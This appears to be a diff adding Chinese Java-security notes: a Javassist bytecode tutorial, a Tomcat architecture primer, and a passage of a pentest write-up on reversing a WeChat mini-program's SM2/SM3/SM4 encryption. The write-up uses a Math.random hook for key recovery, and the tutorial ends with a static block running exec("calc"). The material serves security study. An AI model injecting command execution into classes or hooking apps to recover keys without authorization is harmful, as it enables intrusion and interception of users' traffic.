类 Javassist.CtClass 是对类文件的抽象表示。(编译时类 CtClass )对象是处理类文件的句柄(句柄 Handle 是一个是用来标识对象或者项目的标识符)。
|
||||
|
||||
## 用法详解
|
||||
|
||||
### 依赖导入
|
||||
|
||||
首先需要导入 Javassist 依赖:
|
||||
|
||||
```
|
||||
<dependency>
|
||||
<groupId>org.javassist</groupId>
|
||||
<artifactId>javassist</artifactId>
|
||||
<version>3.28.0-GA</version>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
### 入门案例
|
||||
|
||||
以下是一个简单的入门案例,演示如何使用 Javassist 动态创建一个类并添加方法:
|
||||
|
||||
```
|
||||
import javassist.*;
|
||||
|
||||
public class javassistTest {
|
||||
public static void createPseson() throws Exception {
|
||||
// 1. 获取类池
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
|
||||
// 2. 创建一个 Person 类
|
||||
CtClass cc = pool.makeClass("Person");
|
||||
|
||||
// 3. 添加一个 name 属性
|
||||
CtField param = new CtField(pool.get("java.lang.String"), "name", cc);
|
||||
// 访问级别是 private
|
||||
param.setModifiers(Modifier.PRIVATE);
|
||||
// 初始值是 "zhangsan"
|
||||
cc.addField(param, CtField.Initializer.constant("zhangsan"));
|
||||
|
||||
// 4. 生成 getter、setter 方法
|
||||
cc.addMethod(CtNewMethod.setter("setName", param));
|
||||
cc.addMethod(CtNewMethod.getter("getName", param));
|
||||
|
||||
// 5. 添加无参的构造函数
|
||||
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
|
||||
cons.setBody("{name = \"lisi\";}");
|
||||
cc.addConstructor(cons);
|
||||
|
||||
// 6. 添加有参的构造函数
|
||||
cons = new CtConstructor(new CtClass[]{pool.get("java.lang.String")}, cc);
|
||||
// $0=this / $1,$2,$3... 代表方法参数
|
||||
cons.setBody("{$0.name = $1;}");
|
||||
cc.addConstructor(cons);
|
||||
|
||||
// 7. 创建一个名为 printName 的方法,无参数,无返回值,输出 name 值
|
||||
CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);
|
||||
ctMethod.setModifiers(Modifier.PUBLIC);
|
||||
ctMethod.setBody("{System.out.println(name);}");
|
||||
cc.addMethod(ctMethod);
|
||||
|
||||
// 指定输出 .class 文件的路径
|
||||
cc.writeFile("./src/main/java/");
|
||||
}
|
||||
|
||||
public static void main(String[] args) {
|
||||
try {
|
||||
createPseson();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
上面代码运行后会在 ./src/main/java/ 路径下生成一个 Person.class 文件,内容如下:
|
||||
|
||||
```
|
||||
//
|
||||
// Source code recreated from a .class file by IntelliJ IDEA
|
||||
// (powered by FernFlower decompiler)
|
||||
//
|
||||
|
||||
public class Person {
|
||||
private String name = "zhangsan";
|
||||
|
||||
public void setName(String var1) {
|
||||
this.name = var1;
|
||||
}
|
||||
|
||||
public String getName() {
|
||||
return this.name;
|
||||
}
|
||||
|
||||
public Person() {
|
||||
this.name = "lisi";
|
||||
}
|
||||
|
||||
public Person(String var1) {
|
||||
this.name = var1;
|
||||
}
|
||||
|
||||
public void printName() {
|
||||
System.out.println(this.name);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 类池 ClassPool
|
||||
|
||||
ClassPool是 CtClass 对象的容器。它按需读取类文件来构造 CtClass 对象,并且保存 CtClass 对象以便以后使用。需要注意的是 ClassPool 会在内存中维护所有被它创建过的 CtClass,当 CtClass 数量过多时,会占用大量的内存,API 中给出的解决方案是有意识的调用 CtClass 的 detach() 方法以释放内存。
|
||||
|
||||
主要方法有以下几个:
|
||||
|
||||
- getDefault:获取默认的 ClassPool 对象。
|
||||
- get、getCtClass:根据类名获取 CtClass 对象,用于操作类的字节码。
|
||||
- makeClass:创建一个新的 CtClass 对象,用于新增类。
|
||||
- insertClassPath、appendClassPath:插入类搜索路径,提供给类加载器用于加载类。
|
||||
- toClass:将修改后的 CtClass 加载至当前线程的上下文类加载器中。通过调用 CtClass 的 toClass() 方法实现了将 CtClass 转换为 Class 对象,这样就可以在运行时使用这个类。需要注意的是一旦调用该方法,则无法继续修改已经被加载的 Class 对象。
|
||||
|
||||
### CtClass 类
|
||||
|
||||
CtClass 是 Javassist 中的一个抽象类,用于表示一个类文件。
|
||||
|
||||
CtClass 需要关注的方法:
|
||||
|
||||
- freeze:冻结一个类,使其不可修改。
|
||||
- isFrozen:判断一个类是否已被冻结。
|
||||
- prune:删除类不必要的属性,以减少内存占用。调用该方法后,许多方法无法将无法正常使用,慎用。
|
||||
- defrost:解冻一个类,使其可以被修改。如果事先知道一个类会被 defrost , 则禁止调用 prune 方法。
|
||||
- detach:将该 class 从 ClassPool 中删除。
|
||||
- setSuperclass:设置当前类的父类。
|
||||
- writeFile:将 CtClass 对象转换为类文件并将其写入本地磁盘。
|
||||
- toClass:通过类加载器加载该 CtClass ,示例:`Class clazz = cc.toClass();` 。
|
||||
- toBytecode:获取 CtClass 的字节码,示例:`byte[] b = cc.toBytecode();` 。
|
||||
|
||||
### CtMethod 和 CtField
|
||||
|
||||
CtMethod 和 CtField 分别代表 Java 类中的方法和字段。通过 CtClass 对象,可以获取、添加、删除或修改类中的方法和字段。这些对象提供了丰富的 API ,用于操作方法和字段的各种属性,如访问修饰符、名称、返回类型等。
|
||||
|
||||
CtMethod 中的一些重要方法:
|
||||
|
||||
1. insertBefore:在方法的起始位置插入代码。
|
||||
2. insterAfter:在方法的所有 return 语句前插入代码以确保语句能够被执行,除非遇到 exception 。
|
||||
3. insertAt:在指定的位置插入代码。
|
||||
4. setBody:将方法的内容设置为要写入的代码,当方法被 abstract 修饰时,该修饰符被移除。
|
||||
5. make:创建一个新的方法。
|
||||
|
||||
利用 CtMethod 中的 insertBefore,insterAfter,insertAt 等方法可以实现 AOP 增强功能。
|
||||
|
||||
### Javassist 基本操作
|
||||
|
||||
#### 定义一个新类
|
||||
|
||||
要从头开始定义新类,ClassPool 中的 makeClass 必须被调用。.
|
||||
|
||||
```java
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
CtClass cc = pool.makeClass("Point");
|
||||
```
|
||||
|
||||
该程序定义了一个不包含任何成员的 Point 类。Point 类的成员方法可以被 CtNewMethod中 的工厂方法声明,然后用 CtClass 中的 addMethod 方法追加到 Point 类中。
|
||||
|
||||
makeClass 方法无法创建一个新的接口,但是 ClassPool 中的 makeInterface 方法可以创建。接口中的成员方法可以被 CtNewMethod 中的 abstractMethod 方法创建。这样去标记一个接口的方法为抽象方法。
|
||||
|
||||
#### 冻结类
|
||||
|
||||
如果一个 CtClass 对象由 writeFile 方法、toClass 方法或 toBytecode 方法转换成一个类文件,Javassist 将会冻结那个 CtClass 对象。从而不允许对那个 CtClass 对象进行进一步的修改。这是为了在开发人员尝试修改已加载的类文件时警告开发人员,因为 JVM 不允许重新加载类。译者注:Java 规范中规定,同一个 ClassLoader 对象中只能加载一次相同的 class 。
|
||||
|
||||
冻结的 CtClass 可以解冻,以便允许修改类定义。例如:
|
||||
|
||||
```
|
||||
CtClasss cc = ...; // 获取到 CtClass 对象
|
||||
: // 一系列操作
|
||||
cc.writeFile(); // 将 CtClass 对象转换成类文件,这步完成后 CtClass 对象将被冻结
|
||||
cc.defrost(); // 解冻
|
||||
cc.setSuperclass(...); // 解冻后又可以对 CtClass 对象进行操作
|
||||
```
|
||||
|
||||
#### 指定类的加载路径
|
||||
|
||||
默认的 ClassPool 对象由静态方法 ClassPool.getDefault() 返回,这个方法的搜索路径与底层 JVM ( Java virtual machine ) 的搜索路径相同。 如果程序在 JBoss 和 Tomcat 等 Web 应用程序服务器上运行,ClassPool 对象可能无法找到用户的类 ,因为对于这样的 Web 应用程序,服务器会使用多个类加载器以及系统类加载器加载。这种情况下,必须在 ClassPool 中注册一个额外的类路径,用于获取 CtClass 对象。
|
||||
|
||||
**本地路径**
|
||||
|
||||
假设 pool 是一个 ClassPool 对象,可以指定一个类的搜索路径:
|
||||
|
||||
```
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
pool.insertClassPath("/usr/local/javalib");
|
||||
```
|
||||
|
||||
**URL 路径**
|
||||
|
||||
搜索路径不仅可以是一个目录,还可以是 URL:
|
||||
|
||||
```
|
||||
ClassPath cp = new URLClassPath("www.javassist.org", 80, "/java/", "org.javassist.");
|
||||
pool.insertClassPath(cp);
|
||||
```
|
||||
|
||||
该程序将 [http://www.javassist.org:80/java/](http://www.javassist.org/java/) 添加到类的搜索路径中。此 URL 仅用于搜索属于 org.javassist 包的类。例如,要加载一个类 org.javassist.test.Main ,它的类文件将从 [http://www.javassist.org:80/java/org/javassist/test/Main.class](http://www.javassist.org/java/org/javassist/test/Main.class) 获取。
|
||||
|
||||
**从字节数组中获取 CtClass 对象**
|
||||
|
||||
此外还可以直接将字节数组赋予 ClassPool 对象,然后根据那个数组构造一个 CtClass 对象:
|
||||
|
||||
```
|
||||
// 假设这是我们要从中读取的类的字节数组
|
||||
byte[] classBytes = getClassBytes(); // 这个方法应该返回实际的字节数组
|
||||
String className = "com.example.MyClass"; // 类的完全限定名
|
||||
|
||||
// 获取默认的类池
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
// 将字节数组插入到类路径中
|
||||
pool.insertClassPath(new ByteArrayClassPath(className, classBytes));
|
||||
// 从类池中获取 CtClass 对象
|
||||
CtClass ctClass = pool.get(className);
|
||||
```
|
||||
|
||||
获得的 CtClass 对象就是 className 的字节码文件表示的类。如果 CtClass 的 get 方法被调用,并且参数 className 与 ByteArrayClassPath 中的 className 相同,那么 ClassPool 将会从 ByteArrayClassPath 给的路径中去读取类文件。
|
||||
|
||||
**从指定输入流中获取 CtClass 对象**
|
||||
|
||||
```
|
||||
// 获取默认的类池
|
||||
ClassPool pool = ClassPool.getDefault();
|
||||
// 指定的输入流,例如从一个文件中读取字节码
|
||||
InputStream inputStream = new FileInputStream("path/to/YourClass.class");
|
||||
// 从输入流中获取 CtClass 对象
|
||||
CtClass ctClass = pool.makeClass(inputStream);
|
||||
// 关闭输入流
|
||||
inputStream.close();
|
||||
```
|
||||
|
||||
#### 添加、删除、修改字段
|
||||
|
||||
要在类中添加、删除或修改属性,需要使用 CtField 对象。假设已经获取到了一个名为 existingClass 的 CtClass 对象,以下示例展示了如何实现这些操作。
|
||||
|
||||
**添加字段**
|
||||
|
||||
```
|
||||
// 创建一个新的 CtField 对象,表示一个类型为 int,名称为 count,所属类为 existingClass 的字段
|
||||
CtField newField = new CtField(CtClass.intType, "count", existingClass);
|
||||
// 将这个字段的修饰符设置为 private
|
||||
newField.setModifiers(Modifier.PRIVATE);
|
||||
// 将新创建的字段添加到 existingClass 类中
|
||||
existingClass.addField(newField);
|
||||
```
|
||||
|
||||
**删除字段**
|
||||
|
||||
```
|
||||
// 从 existingClass 对象中获取名为 fieldName 的字段
|
||||
CtField fieldToRemove = existingClass.getField("fieldName");
|
||||
// 移除该字段
|
||||
existingClass.removeField(fieldToRemove);
|
||||
```
|
||||
|
||||
**修改字段**
|
||||
|
||||
```
|
||||
// 从 existingClass 对象中获取名为 fieldName 的字段
|
||||
CtField fieldToModify = existingClass.getField("fieldName");
|
||||
// 修改该字段的修饰符为 public
|
||||
fieldToModify.setModifiers(Modifier.PUBLIC);
|
||||
```
|
||||
|
||||
#### 添加、删除、修改方法
|
||||
|
||||
要在类中添加、删除或修改方法,需要使用 CtMethod 对象。同样假设已经获取到了一个名为 existingClass 的 CtClass 对象,以下示例展示了如何实现这些操作。
|
||||
|
||||
**添加方法**
|
||||
|
||||
```
|
||||
CtMethod newMethod = CtNewMethod.make("public int add(int a, int b) { return a + b; }", existingClass);
|
||||
existingClass.addMethod(newMethod);
|
||||
```
|
||||
|
||||
**删除方法**
|
||||
|
||||
```
|
||||
CtMethod methodToRemove = existingClass.getDeclaredMethod("methodName");
|
||||
existingClass.removeMethod(methodToRemove);
|
||||
```
|
||||
|
||||
**修改方法**
|
||||
|
||||
```
|
||||
CtMethod methodToModify = existingClass.getDeclaredMethod("methodName");
|
||||
methodToModify.setBody("{ return $1 * $1; }");
|
||||
```
|
||||
|
||||
#### 添加构造方法
|
||||
|
||||
假设已经获取到了一个名为 existingClass 的 CtClass 对象,为它创建一个具有两个参数(int 和 double)的构造方法,返回一个 CtConstructor 构造方法对象:
|
||||
|
||||
```
|
||||
CtConstructor constructor = new CtConstructor(new CtClass[]{CtClass.intType, CtClass.doubleType}, ctClass);
|
||||
```
|
||||
|
||||
使用 setBody 方法设置构造方法的内容,$1 和 $2 分别代表构造方法的第一个和第二个参数:
|
||||
|
||||
```
|
||||
constructor.setBody("{ this.myInt = $1; this.myDouble = $2; }");
|
||||
```
|
||||
|
||||
使用 addConstructor 方法将创建的构造方法添加到 existingClass 对象中:
|
||||
|
||||
```
|
||||
existingClass.addConstructor(constructor);
|
||||
```
|
||||
|
||||
#### 创建静态代码块并添加内容
|
||||
|
||||
假设已经获取到了一个名为 existingClass 的 CtClass 对象,在其中创建一个静态初始化块需要用到 CtClass 的 makeClassInitializer 方法,方法的返回结果用 CtConstructor 对象接收:
|
||||
|
||||
```
|
||||
CtConstructor constructor = existingClass.makeClassInitializer();
|
||||
```
|
||||
|
||||
CtConstructor 对象的 setBody 方法用于设置静态代码块中的内容:
|
||||
|
||||
```
|
||||
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
|
||||
```
|
||||
|
||||
## 参考文章
|
||||
|
||||
[【 Javassist 官方文档翻译】第一章 读写字节码](https://blog.csdn.net/qq_39072607/article/details/123900632)
|
||||
|
||||
[一文掌握 Javassist :Java 字节码操作神器详解](http://www.51testing.com/html/80/15326880-7795600.html)
|
||||
|
||||
[javassist 使用全解析](https://www.cnblogs.com/rickiyang/p/11336268.html)
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,108 @@
|
||||
# 基础篇 - Tomcat 架构
|
||||
> 2024-09-26
|
||||
> 来源:https://changeyourway.github.io/2024/09/26/Java%20%E5%AE%89%E5%85%A8/%E5%9F%BA%E7%A1%80%E7%AF%87-Tomcat%E6%9E%B6%E6%9E%84/
|
||||
|
||||
## Tomcat 介绍
|
||||
|
||||
Tomcat 是 Apache 软件基金会开发的一个开源 Java Servlet 容器,用于运行 Java Web 应用程序。它实现了多个 Java EE 规范,如 Servlet、JSP(Java Server Pages)和 WebSocket 等,主要用于处理动态网页请求。作为一个轻量级的应用服务器,Tomcat 常用于开发和测试环境中,同时也适用于生产环境中的中小型应用。
|
||||
|
||||
## Tomcat 架构
|
||||
|
||||
在 Tomcat Server 中,核心架构主要由三个组件组成:**Service**、**Connector** 和 **Container**。它们共同构成了 Tomcat 的请求处理和应用管理机制。
|
||||
|
||||

|
||||
|
||||
以下是对这三个组件的介绍:
|
||||
|
||||
### Service (服务)
|
||||
|
||||
- **功能**:`Service` 是 Tomcat 中用于组织和管理多个 `Connector` 和一个 `Container` 的组件。它负责协调客户端连接和容器之间的关系。
|
||||
- **结构**:一个 `Service` 包含一个 `Container`(通常是 `Engine`)和多个 `Connector`。`Service` 的目的是在多个客户端请求和后端的 Web 应用之间建立桥梁。
|
||||
- **工作机制**:当请求通过 `Connector` 接入时,`Service` 会负责将这些请求分发给 `Container` 处理。`Service` 也是多个连接器共享一个 `Container` 的桥梁。
|
||||
|
||||
### Connector (连接器)
|
||||
|
||||
- **功能**:`Connector` 负责处理客户端和 Tomcat 服务器之间的通信。它将客户端的请求转换成 Tomcat 可以理解的请求对象,并将响应返回给客户端。
|
||||
- **协议支持**:Connector 支持多种协议,如 HTTP、HTTPS 和 AJP 。常见的连接器包括:
|
||||
- **HTTP Connector**:用于处理标准的 HTTP 请求。
|
||||
- **AJP Connector**:用于在 Tomcat 和其他 Web 服务器(如 Apache HTTP Server)之间使用 AJP 协议进行通信。
|
||||
- **工作机制**:`Connector` 接受客户端的网络连接请求,然后将这些请求传递给 `Service` 中的 `Container` 进行进一步处理。
|
||||
|
||||
### Container (容器)
|
||||
|
||||
- **功能**:`Container` 是 Tomcat 中用于处理请求的核心组件。它负责解析和处理通过 `Connector` 接收到的请求,并生成相应的响应。
|
||||
- **层级结构**:Container 包含四种子容器(Engine、Host、Context 和 Wrapper):
|
||||
- **Engine**:最顶层的容器,表示整个 Servlet 引擎。它负责处理通过 `Connector` 接收到的所有请求。一个 Tomcat 实例通常只包含一个 `Engine`,它在接受请求后将其分发到相应的 `Host`。
|
||||
- **Host**:表示一个虚拟主机。一个 `Host` 代表一个能够承载多个应用的虚拟主机,通常与一个域名相对应。它允许 Tomcat 在同一台服务器上支持多个域名(虚拟主机)。
|
||||
- **Context**:代表单个 Web 应用,管理该应用的生命周期。所有的 Servlet、过滤器、监听器等都运行在 `Context` 中。
|
||||
- **Wrapper**:包装一个具体的 Servlet,处理最终的请求。
|
||||
|
||||

|
||||
|
||||
- **工作机制**:当 `Container` 接收到 `Connector` 传递的请求时,它会逐级解析请求,最终将请求交给正确的 `Servlet` 进行处理。
|
||||
|
||||
## Tomcat Context
|
||||
|
||||
Tomcat 中有三种 Context :ServletContext、StandardContext、ApplicationContext
|
||||
|
||||
### ServletContext
|
||||
|
||||
- 接口:`ServletContext` 是一个接口,提供了访问和管理 web 应用程序共享资源的能力。它为所有 servlets 提供全局的视图。
|
||||
- 获取方式:通过 `request.getServletContext()` 可以获取到 `ApplicationContextFacade` 对象,它是 `ServletContext` 的一个实现类的包装器,用于保护实际的 `ServletContext` 实现不被直接操作。
|
||||
- 共享性:`ServletContext` 是在 web 容器启动时为每个 web 应用创建的,它在应用的生命周期内有效,并且在同一应用的所有 servlets 之间共享。因此,它代表当前 web 应用,可以访问应用的资源和设置。
|
||||
|
||||
### ApplicationContext
|
||||
|
||||
- 实现类:`ApplicationContext` 是 `ServletContext` 接口的一个具体实现类。在 Tomcat 中,`ApplicationContext` 被封装在 `ApplicationContextFacade` 中,主要用于提供对 `ServletContext` 的安全访问。
|
||||
- 功能:`ApplicationContext` 实现了 `ServletContext` 中的方法,因此,它可以管理 web 应用的全局资源、配置初始化参数以及共享属性。
|
||||
- 作用:实际上,`ApplicationContext` 是对 `StandardContext` 的进一步封装,`ApplicationContext` 中的方法会调用 `StandardContext` 中的对应方法,形成对 web 应用的实际管理。
|
||||
|
||||
### StandardContext
|
||||
|
||||
- 核心实现:`StandardContext` 是 Tomcat 中 `org.apache.catalina.Context` 接口的默认实现类。它表示一个完整的 web 应用,并且是 Tomcat 用于管理应用生命周期、配置、加载和运行的实际 `Context` 实现。
|
||||
- 功能与作用:
|
||||
- 负责管理整个 web 应用的生命周期(启动、停止、重载等)。
|
||||
- 管理应用的所有 servlets、filters、listeners 等组件。
|
||||
- 提供对应用的资源路径、JNDI 资源、会话管理等功能的支持。
|
||||
- 关系:`StandardContext` 是 Tomcat 内部的核心组件,负责实现 `Context` 接口的所有功能,并为 `ApplicationContext` 提供实际的支持。`ApplicationContext` 调用的很多方法最终都会映射到 `StandardContext` 的实现中。
|
||||
|
||||
## Tomcat 管道机制
|
||||
|
||||
**Tomcat 管道机制(Pipeline Mechanism)** 是 Tomcat 内部的请求处理模型之一,它提供了一种灵活的、可扩展的处理请求和响应的方式。管道机制允许在请求和响应处理过程中插入多个可配置的处理器(Valve),这些处理器按顺序执行,形成一个请求处理的链条。
|
||||
|
||||
### Pipeline 和 Valve 的关系
|
||||
|
||||
在 Tomcat 中,**Pipeline(管道)** 是容器(如 `Engine`、`Host`、`Context` 等)的一个组件,用来组织多个 **Valve(阀门)**。Valve 是一个个的请求处理器,而 Pipeline 负责管理这些 Valve 的顺序调用。
|
||||
|
||||
Tomcat 中,管道就像一个请求处理的通道,而 Valve 是放在管道中的处理站。每个请求进入 Tomcat 时,会沿着这个管道依次经过各个 Valve,直到最终处理完成。
|
||||
|
||||
- **Pipeline**:是一个容器,它维护一系列的 Valve,形成一个处理链。
|
||||
- **Valve**:是管道中的节点,执行特定的请求处理逻辑。
|
||||
|
||||
### Pipeline 结构
|
||||
|
||||
Tomcat 的 Pipeline 由以下两部分组成:
|
||||
|
||||
- **基本 Valve**(Basic Valve):每个管道都必须有一个基本 Valve,它是管道中最后一个被调用的 Valve,负责实际的请求处理(如转发请求给某个特定的 Servlet)。如果没有其他的自定义 Valve 进行拦截或修改,最终的请求会由基本 Valve 处理。
|
||||
- **普通 Valve**:可以在基本 Valve 之前插入多个普通的 Valve,这些 Valve 按照配置的顺序依次执行。
|
||||
|
||||

|
||||
|
||||
### 工作原理
|
||||
|
||||
当请求进入 Tomcat 时,经过容器(如 `Engine`、`Host`、`Context` 等)的 Pipeline,Pipeline 中的 Valve 会按顺序执行,处理请求并决定是否传递给下一个 Valve。如果某个 Valve 拦截了请求并处理完成,可能会终止后续 Valve 的调用。
|
||||
|
||||
**执行过程**:
|
||||
|
||||
1. 请求进入某个容器的 Pipeline。
|
||||
2. Pipeline 从第一个 Valve 开始,依次调用每个 Valve 的 `invoke()` 方法。
|
||||
3. 每个 Valve 处理请求并决定是否传递给下一个 Valve。如果需要传递,调用 `getNext().invoke(request, response)`。
|
||||
4. 如果没有下一个 Valve,最终由 Basic Valve 处理请求。
|
||||
|
||||
Tomcat 每个层级的容器(Engine、Host、Context、Wrapper),都有基础的 Valve 实现(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),他们同时维护了一个 Pipeline 实例(StandardPipeline),也就是说,我们可以在任何层级的容器上针对请求处理进行扩展。这四个 Valve 的基础实现都继承了 ValveBase。这个类帮我们实现了生命接口及 MBean 接口,使我们只需专注阀门的逻辑处理即可。
|
||||
|
||||
**参考文章**
|
||||
|
||||
[Tomcat 架构与 Context 分析](https://myzxcg.com/2021/10/Tomcat-%E6%9E%B6%E6%9E%84%E4%B8%8EContext%E5%88%86%E6%9E%90/#%E4%B8%89%E7%A7%8Dcontext%E7%9A%84%E8%81%94%E7%B3%BB%E4%B8%8E%E5%8C%BA%E5%88%AB)
|
||||
|
||||
[Java 安全学习 —— Tomcat 架构浅析](https://goodapple.top/archives/1359)
|
||||
@@ -0,0 +1,325 @@
|
||||
# 微信小程序加密通信协议逆向分析实录——SM2/SM3/SM4 国密算法套件破解
|
||||
> 来源:https://xz.aliyun.com/news/92572
|
||||
|
||||
声明:本文仅用于技术研究与安全交流,所有内容已做脱敏处理。涉及资产已获得授权测试,请勿用于非法用途。
|
||||
|
||||
|
||||
## 一、概述
|
||||
|
||||
|
||||
在移动应用安全评估中,微信小程序因其庞大的用户基数和敏感的业务场景(支付、身份认证、金融交易),一直是安全研究的热点。与普通 App 不同,小程序代码经过 wxapkg 打包、混淆、虚拟化等多重保护,加之国密算法(SM2/SM3/SM4)的广泛应用,使得渗透测试流量分析难度大幅提升。
|
||||
|
||||
本文完整记录了对某金融类微信小程序 HTTPS 通信中 SM2/SM3/SM4 国密算法套件的逆向分析过程,从源码反编译、加密协议还原、密钥恢复机制设计,到最终实现 Burp Suite 透明加解密 Hook 的全链路技术细节。
|
||||
|
||||
关键词:微信小程序安全、国密算法、SM2/SM3/SM4、Burp Suite、中间人攻击、WebSocket Hook
|
||||
|
||||
|
||||
## 二、前期侦察与源码反编译
|
||||
|
||||
|
||||
|
||||
### 2.1 小程序包提取
|
||||
|
||||
|
||||
使用微信小程序逆向工具对目标小程序的 wxapkg 包进行提取和反编译,获得主包 `__APP__.wxapkg` 以及若干分包(`_pages_inspection_`、`_pages_toPay_`、`_pages_marketing_` 等)。反编译后得到 `app-service.js`(约 1.6MB)及多个子包 JS 文件。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
### 2.2 webpack 模块系统分析
|
||||
|
||||
|
||||
反编译产物采用 webpack 打包,通过 `wx.webpackJsonp.push([[chunkId], {moduleId: function(require, exports, module){...}}])` 机制注册模块。使用 CDP(Chrome DevTools Protocol)通过 `wx.webpackJsonp` 可枚举所有 chunk 及模块 ID:
|
||||
|
||||
●Chunk 3 → 模块 10(请求加密编排函数)
|
||||
|
||||
●Chunk 1 → 模块 63(SM2/SM3/SM4 封装层)
|
||||
|
||||
● Chunk 1 → 模块 144(`{sm2: n(834), sm3: n(838), sm4: n(839)}`)
|
||||
●Chunk 1 → 模块 834(SM2 国密公钥加密实现)
|
||||
|
||||
●Chunk 1 → 模块 838(SM3 哈希与 HMAC 实现)
|
||||
|
||||
●Chunk 1 → 模块 839(SM4 国密对称加密实现)
|
||||
|
||||
|
||||
### 2.3 加密协议逆向
|
||||
|
||||
|
||||
通过分析模块 63 的导出函数,还原出完整的加密通信协议:
|
||||
|
||||
|
||||
```javascript
|
||||
// 模块 63 关键导出函数
|
||||
function i(t, e) { return n.sm2.doEncrypt(t, e, 0) } // SM2 加密
|
||||
function o(t) { return Object(n.sm3)(t) } // SM3 哈希
|
||||
function s(t, e, r) { return n.sm4.encrypt(t, e, {mode:"cbc", iv:r}) } // SM4-CBC 加密
|
||||
function a(t, e, r) { return n.sm4.decrypt(t, e, {mode:"cbc", iv:r}) } // SM4-CBC 解密
|
||||
function u() { // ShareKey 生成:32个随机十六进制字符
|
||||
for(var t="", e="0123456789abcdef", r=e.length, n=0; n<32; n++)
|
||||
t += e.charAt(Math.floor(Math.random()*r));
|
||||
return t;
|
||||
}
|
||||
```
|
||||
|
||||
协议流程如下:
|
||||
|
||||
|
||||
```
|
||||
客户端生成 shareKey (32 hex chars via Math.random)
|
||||
↓
|
||||
SM2 公钥加密 shareKey → secretKey (带 04 前缀,258 hex chars)
|
||||
↓
|
||||
SM4-CBC 加密业务 JSON 体 → data (hex)
|
||||
↓
|
||||
SM3("data=<data>&secretKey=<secretKey>&shareKey=<shareKey>") → smSign
|
||||
↓
|
||||
POST {secretKey, data, smSign} → 服务端
|
||||
↓
|
||||
服务端 SM2 私钥解密 secretKey → 恢复 shareKey
|
||||
↓
|
||||
服务端 SM4-CBC 解密 data → 业务请求体
|
||||
↓
|
||||
服务端 SM3 验签 → 处理业务
|
||||
↓
|
||||
服务端 SM4-CBC 加密响应体 → retData
|
||||
↓
|
||||
服务端 SM3("retData=<retData>&shareKey=<shareKey>") → retSign
|
||||
↓
|
||||
响应 {retData, retSign} → 客户端
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
## 三、核心技术挑战与突破
|
||||
|
||||
|
||||
|
||||
### 3.1 ShareKey 恢复——Math.random 劫持
|
||||
|
||||
|
||||
这是整个方案最关键的切入点。shareKey 由 32 次 `Math.random()` 调用生成,每次取 `"0123456789abcdef"[floor(random*16)]`。由于 `Math.random()` 在 V8 引擎中并非密码学安全随机数(使用 XorShift128+ 算法),只要捕获到足够多的连续 `Math.random()` 输出,就能精确推算出 shareKey。
|
||||
|
||||
实现方案:通过 MCP(MiniProgram Control Protocol)向小程序 appservice 上下文注入 hook:
|
||||
|
||||
|
||||
```javascript
|
||||
var origRandom = Math.random;
|
||||
Math.random = function() {
|
||||
var val = origRandom();
|
||||
state.randomLog.push(val); // 记录所有 random() 返回值
|
||||
return val;
|
||||
};
|
||||
```
|
||||
|
||||
在请求到达时,从日志中提取最后 32 个 random 值,重构 shareKey 候选值。由于 `Math.random()` 生成双精度浮点数(53 位精度),需将其映射回 0-15 的整数索引:
|
||||
|
||||
● `Math.floor(Math.random() * 16)` → 直接取 `floor(val * 16)` 即可得到 0-15 的索引
|
||||
性能优化:初始版本遍历 `randomLog` 全部 5000 条记录,耗时长(约 36s+)。优化为从末尾向前搜索最后 50 个候选,时间降至 <1s。
|
||||
|
||||
|
||||
### 3.2 SM4-CBC 加解密
|
||||
|
||||
|
||||
从模块 839 和模块 63 提取出 SM4 参数:
|
||||
|
||||
●模式:CBC
|
||||
|
||||
● IV:从本地存储 `SM_ENC_DATA` 中读取
|
||||
●密钥:shareKey(32 hex chars = 16 bytes)
|
||||
|
||||
●填充:PKCS#7(gmssl 内部自动处理)
|
||||
|
||||
使用 Python gmssl 库实现:
|
||||
|
||||
|
||||
```python
|
||||
def sm4_cbc_encrypt(key_hex, iv_hex, plaintext):
|
||||
key = bytes.fromhex(key_hex)
|
||||
iv = bytes.fromhex(iv_hex)
|
||||
crypt = CryptSM4()
|
||||
crypt.set_key(key, SM4_ENCRYPT)
|
||||
ct = crypt.crypt_cbc(iv, plaintext.encode("utf-8"))
|
||||
return ct.hex().lower()
|
||||
```
|
||||
|
||||
验证通过:对同一明文加密两次得到相同密文,确认 SM4-ECB 模式下加密确定性。
|
||||
|
||||
|
||||
### 3.3 SM2 公钥加密——最曲折的环节
|
||||
|
||||
|
||||
模块 834 的 `doEncrypt(plaintext, publicKey, mode)` 函数签名:
|
||||
|
||||
|
||||
```javascript
|
||||
doEncrypt: function(t, e, n=1) {
|
||||
t = s.hexToArray(s.utf8ToHex(t)); // shareKey → UTF-8 bytes → hex → byte array
|
||||
e = s.getGlobalCurve().decodePointHex(e); // 解析公钥
|
||||
// C1 = k*G (随机密钥对)
|
||||
// (x2, y2) = k*P (共享点)
|
||||
// C3 = SM3(x2 || M || y2)
|
||||
// KDF: SM3(x2 || y2 || counter)
|
||||
// C2 = M ⊕ KDF
|
||||
return n===0 ? C1 + C2 + C3 : C1 + C3 + C2;
|
||||
}
|
||||
```
|
||||
|
||||
参数含义:
|
||||
|
||||
● `plaintext`:shareKey 字符串的 UTF-8 编码(非 hex 解码!)
|
||||
● `publicKey`:带 "04" 前缀的 130 hex chars 公钥
|
||||
● `mode=0`:C1C2C3 格式
|
||||
|
||||
#### 3.3.1 坑点 1:公钥前缀处理
|
||||
|
||||
|
||||
Python gmssl 的 `CryptSM2.__init__` 中使用 `public_key.lstrip("04")` 去除 "04" 前缀。但 `lstrip("04")` 将 "04" 视为字符集合而非前缀,对于以 `0AE4...` 开头的公钥会错误地剥离 `0`:
|
||||
|
||||
